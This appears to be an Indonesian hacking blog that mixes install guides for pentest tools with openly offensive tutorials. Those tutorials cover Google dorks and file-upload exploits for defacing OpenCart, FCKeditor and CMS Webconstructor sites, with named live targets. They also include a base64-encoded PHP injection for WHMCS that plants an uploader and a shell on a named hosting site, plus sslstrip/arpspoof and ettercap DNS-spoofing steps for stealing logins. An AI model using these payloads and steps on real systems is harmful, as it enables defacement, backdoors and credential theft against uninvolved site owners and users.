Install SQLMAP di Windows XP , 7 , 8

   Selamat malam reader :)
Sekarang ini saya mau share tentang SQLMAP di windows.. Sebenernya main SQLMAP di windows ini emang agak ribet.. Dari mulai mendownload Python , active python dan yg terakhir mendownlaoad SQLMAP nya..
Untuk command SQLMAP di windows dengan di Linux tetep sama kok, jadi gak perlu khawatir...
 Oke langsung saja, 

1. Download python, dan yg pasti buat windows.. download versi yg berapa saja.. Download pyhton disini ..
   
2. Download Active Python , agar SQLMAP dapat berjalan Download Active Python
   
3. Dan yg terakhir download SLQMAP .. Download SQLMAP disini 

Kalau sudah terdownload semua.. di lakukan untuk instalasi Python dan Active Phyton.. Tunggu sampai selesai, dan di lanjut dengan SQLMAP nya..
Extract SQLMAP nya di directory mana saja..
Dan cara untuk menggunakan SQLMAP nya adalah dengan membuka CMD dan masuk ke dalam directory dimana agan agan menyimpan SQLMAP 

Contoh : Saya menyimpan SQLMAP di directory C:/ --> Pentest --> SQLMAP

mak

SQLMAP berjalan =))
Sekian dari saya..
Semoga bermanfaat :)

Read more

Bermain dengan Dmitry

    Selamat siang reader :)
Untuk postingan kali ini ane mau sharing cara cek Subdomain dengan Dmitry .
Sekilas tentang dmitry

Jadi dmitry ini sebenernya tools tracing , dari Ip HOST atau langsung dari URL webnya..
Ex :
Dmitry www.target.com -i
-i ini di artikan sebagai untuk melookup HOST dari IP tersebut (CMIIW)
Atau anda dapat menggunakan command yg lain
Ex : Dmitry www.target.com -w
      Dmitry www.target.com -p
dan lain-lain..

Nah , yg saya suka dari Dmitry ini informasi yg di keluarkan SANGAT lengkap!!! :D
Dari mulai Kota , Kode Telefon , Nomor telefon , sampai ke NAMA JALAN! :D

Sekian postingan dari saya..
Semoga bermanfaat :)

Read more

Simple Deface OpenCart Website

 Kali ini ane mau berbagi cara deface website dengan mudah dan simpel ga repot kok gan.

Sebelum belajar deface ini, sebaiknya baca ini dulu supaya lebih mengerti: http://www.binushacker.net/cara-deface-website-dengan-file-upload.html, karena artikel ini hampir sama dengan artikel di link tersebut.

Oke, langsung aja nih caranya

Seperti biasa nyarinya lewat paman google.
( Dorknya copy ke search engine google )

Dork nya :
SUPPORT BY OPENCART
atau
Powered By OpenCart site:com (site nya bisa kamu ganti,seperti my,il, dll yang penting suport opencart)
Klo pengen smuanya, site nya ilangin jadi gini aja Powered By OpenCart

Detail exploitnya adalah:

==========================================

Opencart remote file Upload Vulnerability

==========================================

#Exploit Title: Opencart remote file uploade

#Author: Net.Edit0r

#Email: Net.Edit0r@Att.Net ~ Black.Hat.tm@Gmail.com

#Google dork: [inurl:Powered By OpenCart

#Software Link: http://www.opencart.com/index.php?route=download/download

#Platform :linux/php

######################################Iranian HackerZ####################################

# http://target.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

# Example site: http://server

# Select the "File Upload" To use = php

# http://server/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

# Sh3ll : http://server/admin/view/javascript/fckeditor/editor/filemanager/connectors/php/shell.php

# OR

# http://server/shell.php

######################################Demo Example####################################

#Demo : http://www.site.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html#

#Demo : http://www.site.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html#

#########################################################################################

#Spical Thanks To >> Darkcoder ~ Classic ~ Jenne bamaram ~ S3Ri0uS ~

_AriaNet_ And All B0x ((Web : ( http://houseofhackers.net/forum/ )))

########################################## End ##########################################

Langsung ke caranya,

Jika kamu sudah mendapatkan target nya

Contoh Target: http://www.digitalbazzar.co.uk/shop bisa juga http://www.digitalbazzar.co.uk/cart,
www.digitalbazzar.co.uk/patch, dll.

Klo udah dapet targetnya tinggal kita inject exploitnya
admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

Jadinya kaya gini:http://www.digitalbazzar.co.uk/shop/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
Klo ketemu yang kya gini http://digitalbazzar.co.uk/shop/ kamu inject di belakang /shop/ nya..

Jangan lupa connector waktu uploadnya di ganti jadi PHP
Lalu kamu upload deh  file defacenya, jika berhasil maka ada bacaan alert seperti ini “file uploaded with no errors”

Untuk melihat apakan berhasil di upload atau tidak kamu ke “Get Folders and Files” dan lihat hasilnya…

Jika berhasil kamu tinggal masukin nama file deface kamu di blakang site nya,,

Selamat mencoba .

Read more

CMS Webconstructor Remote File Upload Vulnerability

===============================================
Exploit Title: CMS Webconstructor Remote File Upload Vulnerability
Dork: intext:CMS: webconstructor.pl
Author: BadBoy
Category: Remote, Webapps
Tested on: Windows Xp SP3

===============================================

-> Exploit <-
http://[localhost]/PATH/tiny_mce/plugins/filemanager/InsertFile/insert_file.php

-> Allowed File <-
You can upload ,html ,pdf ,ppt ,txt ,doc ,jpg, etc except php, php4, asp

-> Preview <-
- You can see if you success upload file.

-> Live Target <-
- http://mexico-extreme.com/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
– http://rofel.pl/tiny_mce/plugins/filemanager/InsertFile/insert_file.php

===============================================

Sudah cukup begitu, saya rasa kalian sudah mengerti bagaimana cara eksekusi nya hehe, kalau yang bingung? Komen aja di bawah, InsyaAllah saya feedback dengan cepat 

Semoga bermanfaat aja ya, Wassalamualaikum

Read more

Install Metasploit 4 di Linux

   Oke kali ini saya mau share caranya install Metasploit 4 di Linux , untuk installasi metasploit kali ini cukup mudah kok =)) tinggal Download --> Chmod --> Install gampang kan??
Langsung aja yaaa..

Pertama download installer nya dulu wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run installer ini akan otomatis tersimpan di directory home , sebelum menginstall metasploit nya gunakan perintah chmod 775 terlebih dahulu chmod 775 ./metasploit-latest-linux-installer.run setelah itu baru  kalian dapat menginstall nya dengan cara ./metasploit-latest-linux-installer.run tunggu sampai proses installasi selesai kemudian ketik msfconsole untuk menggunakan metasploit .

Nb: untuk pengguna Ubuntu di SARAN kan untuk menjadi root terlebih dahulu

Selamat mencoba

Read more

WHMCS Exploit with Submit Ticket

    Sebelumnya saya ingin menjelaskan apa sih WHMCS itu?? WHMCS adalah sebuah cms yg memudahkan kita untuk membuat server hostingan itu menurut saya, kalo kurang jelas search di google.
Oke langsung aja ke POC nya ;)

   Exploit with submit ticket php:
1. Carilah sebuah site yg Vuln dengan menggunakan dork / juga bisa menggunakan irc jika ada BOTnya. Nih saya Share Dorknya dikit aja ya, kalo banyak" nanti ga cukup docnya :v :

intext:Powered by WHMCompleteSolution inurl:submitticket.php
intext:Powered by WHMCompleteSolution inurl:".*/*/submitticket.php" intext:Powered by WHMCompleteSolution inurl:".*/submitticket.php"

2. Misalnya kita mendapatkan target, okelah saya contohkan site yang vuln :

https://billing.byehosting.com.au/byehosting/billing/submitticket.php?step=2&deptid=4

3. Isikan exploit berikut yang sudah saya encrypt kedalam base64 : 

{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJqMGlJ
aUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsUFNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFhCc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTkNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2IyRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5ZG1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZajVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzYjJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUgwTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL3N5bmRyb20ucGhwIiwidyIpOw0KZndyaXRlKCRmbywkY29kZSk7')) ;{/php})

Name : exploitnya 
Email   : aku@gay.com
Subject : exploitnya
Kolom besar : exploitnya
Verification di isi jika ada

Exploit di atas berisi script php upload dan dir path dimana tempat upload itu muncul.

4. Kalo Sudah di isi, kemudian cek apakah muncul tempat upload atau tidak, dengan mengganti menjadi :

https://billing.byehosting.com.au/byehosting/billing/templates/syndrom.php


Kalo muncul , upload aja langsung shellnya / Backdoor. :D
Kalo tidak muncul istilah lain not found / forbidden, berarti tidak vuln.
Berikut Shell yang sudah saya upload :

https://billing.byehosting.com.au/byehosting/billing/templates/manipulasiberasaldarikatamenipulasi.php

Read more

Teknik Mendeface Website

Pertama kalian siapkan file Txt(Buat aja di notepad), kemudian cari target di google dengan dork, jika sudah masukan POC http://[localhost]//apps/fckeditor/2.5.1/editor/filemanager/connectors/uploadtest.htmlsebagai contoh  http://perplexed.co.uk akan menjadihttp://perplexed.co.uk/apps/fckeditor/2.5.1/editor/filemanager/connectors/uploadtest.html , kemudian upload file txt yang kamu buat tadi, jika sudah akan menjadi seperti inihttp://perplexed.co.uk/userfiles/16/nama file kamu.txt    ...... SELESAI


Google  Dork(Untuk Mencari Target Di Google) : 
- inurl:/apps/fckeditor

POC:
- http://[localhost]//apps/fckeditor/2.5.1/editor/filemanager/connectors/uploadtest.html

Live Demo(CONTOH) :
- http://perplexed.co.uk/apps/fckeditor/2.5.1/editor/filemanager/connectors/uploadtest.html
- http://www.pant-y-lon.co.uk/apps/fckeditor/2.5.1/editor/filemanager/connectors/uploadtest.html


Hanya Bisa Upload File txt, tidak bisa Upload HTML...
Oke deh, semoga berguna aja ya ilmu dari saya :D

Read more

Langkah hacking https with Backtrack

kali ini saya coba menjelaskan tentang hacking https connection menggunakan sslstrip..

langsung ke TKP…berikut adalah beberapa informasi mengenai jaringan :

ip attacker : 192.168.1.50
ip victim : 192.168.1.200
gateway : 192.168.1.5





sekilas mengenai sslstrip :

root@h4ck:~# sslstrip --help

sslstrip 0.1 by Moxie Marlinspike
Usage: sslstrip

Options:
-w , –write= Specify file to log to (optional).
-p , –post Log only SSL POSTs. (default)
-s , –ssl Log all SSL traffic to and from server.
-a , –all Log all SSL and HTTP traffic to and from server.
-l , –listen= Port to listen on (default 10000).
-f , –favicon Substitute a lock favicon on secure requests.
-k , –killsessions Kill sessions in progress.
-h Print this help message

note :

-opsi -a digunakan untuk logging semua trafic ( http,https)
-opsi -s digunakan untuk logging traficc ssl saja
-opsi -l digunakan untuk listen port ( meredirect port 80 victim,defaultnya 10000 )
-opsi : -w : tempat file dump akan disimpan.

    jalankan ssl strip :

root@h4ck:~# sslstrip -a -w laharisi

    Lakukan arpspoof terhadap victim

root@h4ck:~# root@h4ck:~# arpspoof -i vmnet1 -t 192.168.1.200 192.168.1.5

    akftifkan fungsi ip_forward :

root@h4ck:~# echo 1 &gt; /proc/sys/net/ipv4/ip_forward

    redirect komunikasi http victim ( port 80 ) ke port yang di gunakan sslstrip ( 10000)

root@h4ck:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000


    ketika victim melakukan login misalnya mail.yahoo.com,maka kita bisa melihat username dan password loginnya..caranya buka file dump ( laharisi )

root@h4ck:~# cat laharisi | grep -i "passwd="
url+="?";if(valid_js()){var passwd=form.passwd.value;var challen
function hash2(form){var passwd=form.passwd.value
2009-06-30 19:22:34,004 SECURE POST Data (login.yahoo.com):
.tries=1&amp;.src=ym&amp;.md5=&amp;.hash=&amp;.js=&amp;.last=promo=&amp;.intl=us&amp;.bypass=&amp;.partner=&amp;.u=1esn43t54k0a5&amp;.v=0&amp;
.challenge=EzdOJPTgncnTmCU_K.IjpAtfSawf&amp;.yplus=&amp;.emailCode=&amp;pkg=&amp;stepid=&amp;.ev=&amp;hasMsgr=0&amp;.chkP=Y&amp;.done=
http%3A%2F%2Fmail.yahoo.com&amp;.pd=ym_ver%3D0%26c%3D%26ivt%3D%26sg%3D&amp;login=bl4ck.4ngle&amp;passwd=disembunyikan&amp;.save=Sign+In

kita bisa melihat bahwa username = bl4ck.4ngle dan password = disembunyikan ;)

Read more

spoofing facebook via ettercap

Pertama kita scan host dulu

nmap -sn -n 192.168.1.1/24 ===&gt;scan host

seting /etc/etter.conf
## tambahkan komen ini di file di atas ##
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Dump traffic pada ARP ( sniffing – dump cookies https )

Command : ettercap -T -w dump -i wlan0 -M ARP /xxx.xxx.x.x/ //

Kemudian config jalur yang akan di spoof nantinya yang di konfigurasikan pada file etter.dns. Lokasi file etter.dns secara default pada backtrack V R1

etter.dns berada di /usr/local/share/ettercap/etter.dns atau /usr/share/ettercap/etter.dns

facebook.com A 192.168.1.6 ===&gt; ip attacker
*.facebook.com A 192.168.1.6
www.facebook.com PTR 192.168.1.6 # Wildcards in PTR are not allowed

Edit ip address dengan ip address pengganti , dalam hal ini saya menggunakan ip address yang di gunakan os backtrack yaitu 192.168.1.6, dan hasilnya  akan mengarahkan domain facebook.com dan www.facebook.com ke ip address 192.168.1.6
Syntax ettercap dengan plugin dns_spoof

kemudian jalankan dengan perintah
ettercap -T -q -i wlan0 -P dns_spoof -M ARP // //

hihi semoga berhasil :D

moga-moga ada yang login , ntar ketahuan tuh user and passwordnya

Read more

Install SET (Social Engineering Toolki) di Ubuntu 11.10/12.04

  Berhubung pagi ini gw inget blog gw minta arsip makanya gw posting something hehehe.. Dan bagi pada Linuxer yg suka ngoprek2 gw mau ngasuih tau gimana caranya install SET (Social Engineering Toolkit) di Ubuntu 11.10 dan Ubuntu 12.04 , "emang bisa ya?" Bisa dong :) karena kan Backtrack itu turunan dari Ubuntu..
Jadi buat Linuxer yg suka mainan SET tp Distronya memakai Ubuntu 11.10 dan Ubuntu 12.04 gak perlu dual boot dengan Backtrack atau install Backtrack di Virtual Box..
Langsung aja yaaaa, untuk installasi nya dengan membuka terminal dan ketik svn co http://svn.secmaniac.com/social_engineering_toolkit set/ sebelum menginstall SET kita install dulu Subversion nya karena kalo kita belum menginstall Subversion maka SET tidak akan bisa terinstall :D cara install nya adalah dengan mengetik sudo apt-get install subversion . Lanjut dengen installasi SET , karena berhubung SET akan tersimpan di HOME maka saya rekomendasikan pindahkan ke directory opt dengan cara ketik mv set /opt . Jika semua sudah selesai, untuk membuka SET nya dengan cara masuk ke direktory opt --> set --> lalu ketik set atau ketik cd /opt/set lalu ketik ./set . Ohh iya , sebelum mengetik ./set pastikan anda sudah menjadi root (super user) jika tidak, maka akan ada notice seperti ini Traceback (most recent call last):
  File "./set", line 26, in <module>
    update_config()
  File "/opt/set/config/update_config.py", line 91, in update_config
    new_config = file("%s/config/set_config.py" % (definepath), "w")
IOError: [Errno 13] Permission denied: '/opt/set/config/set_config.py'

Selamat mencoba =)) tunggu tutorial selanjutnya

Read more

Install Metasploit on Ubuntu 11.10/12.04

  Pada postingan kali ini saya akan memberitahukan bagaimana caranya untuk menginstall metasploit di Ubuntu 11.10 dan Ubuntu 12.04.
Sebelum nya saya akan kasih tau dulu apa sih metasploit itu atau yg lebih di kenal oleh Backtrack user adalah msfconsole , msfcli , msfweb, dan lain-lain..
Metasploit adalah sebuah platform pengembangan untuk menciptakan alat keamanan dan eksploitasi. Kerangka ini di gunakan oleh profesional keamanan jaringan untuk tes penetrasi/pentest, kurang lebih seperti itu tentang metasploit..
Oke langsung aja untuk install metasploit dengan cara buka terminal dan ketik sudo apt-get install metasploit untuk yg belum menambahkan repository backtrack bisa membaca artikel nya di bawah :)
Jika sudah selesai menginstall lanjut dengan melakukan pengecekan dengan cara mengetik msfupdate (harus menjadi root terlebih dahulu) Jika sudah selesai melakukan pengecekan metasploit di lanjut lagi dengan membuka Metasploit dengan command msfconsole.

Sekian dari saya, jangan pernah bosan untuk mampir ya..

Read more

Cara install repository Backtrack di Ubuntu 11.10 dan 12.04

Selamat pagi reader..
Kali ini ane mau ngebahas tentang gimana caranya install tools + add repo Backtrack ke dalam Ubuntu 11.10/12.04 kalian..
Sebelum nya kita udah tau kan apa sih BACKTRACK OS itu ? Dan apa sih kegunaanya ? Buat yg belum tau, ini ane kasih tau..  Backtrack adalah salah satu distro Linux  yg merupakan turunan dari Slackware yg mana merupakan merger dari whaxdan auditor security collection. Begitu singkatnya hehehe..
Oke langsung aja , pertama kita download dulu Backtrack.gpg nya dengan cara buka terminal lalu ketik sudo  wget http://all.repository.backtrack-linux.org/backtrack.gpg jika sudah selesai kita add Backtrack.gpg kedalam Ubuntu kita dengan cara sudo apt-key add backtrack.gpg. Kemudian tambahkan source Backtrack ke /etc/apt/sources.list dengan cara ketik sudo gedit /etc/apt/sources.list dan tambahkan repo Baktrack..
Repository dari situs resmi :

32bit:

deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing

deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing

deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing

64bit:
deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
deb [arch=amd64] http://64.repository.backtrack-linux.org revolution main microverse non-free testing

deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing

Setelah selesai menambahkan source , yg terakhir kita lakukan adalah meng-update Ubuntu kita dengan cara ketik sudo apt-get update di terminal .

Jika tidak ada yg error , tinggal download sesuka hari tools backtrack saja :)
Contoh : SQLmap : Sudo apt-get install sqlmap
                SQLninja  Sudo apt-get install sqlninja
                tcpdump   Sudo apt-get install tcpdump
Dan lain-lain...

Sekian dari saya dan selamat Berpentest ria :)

Read more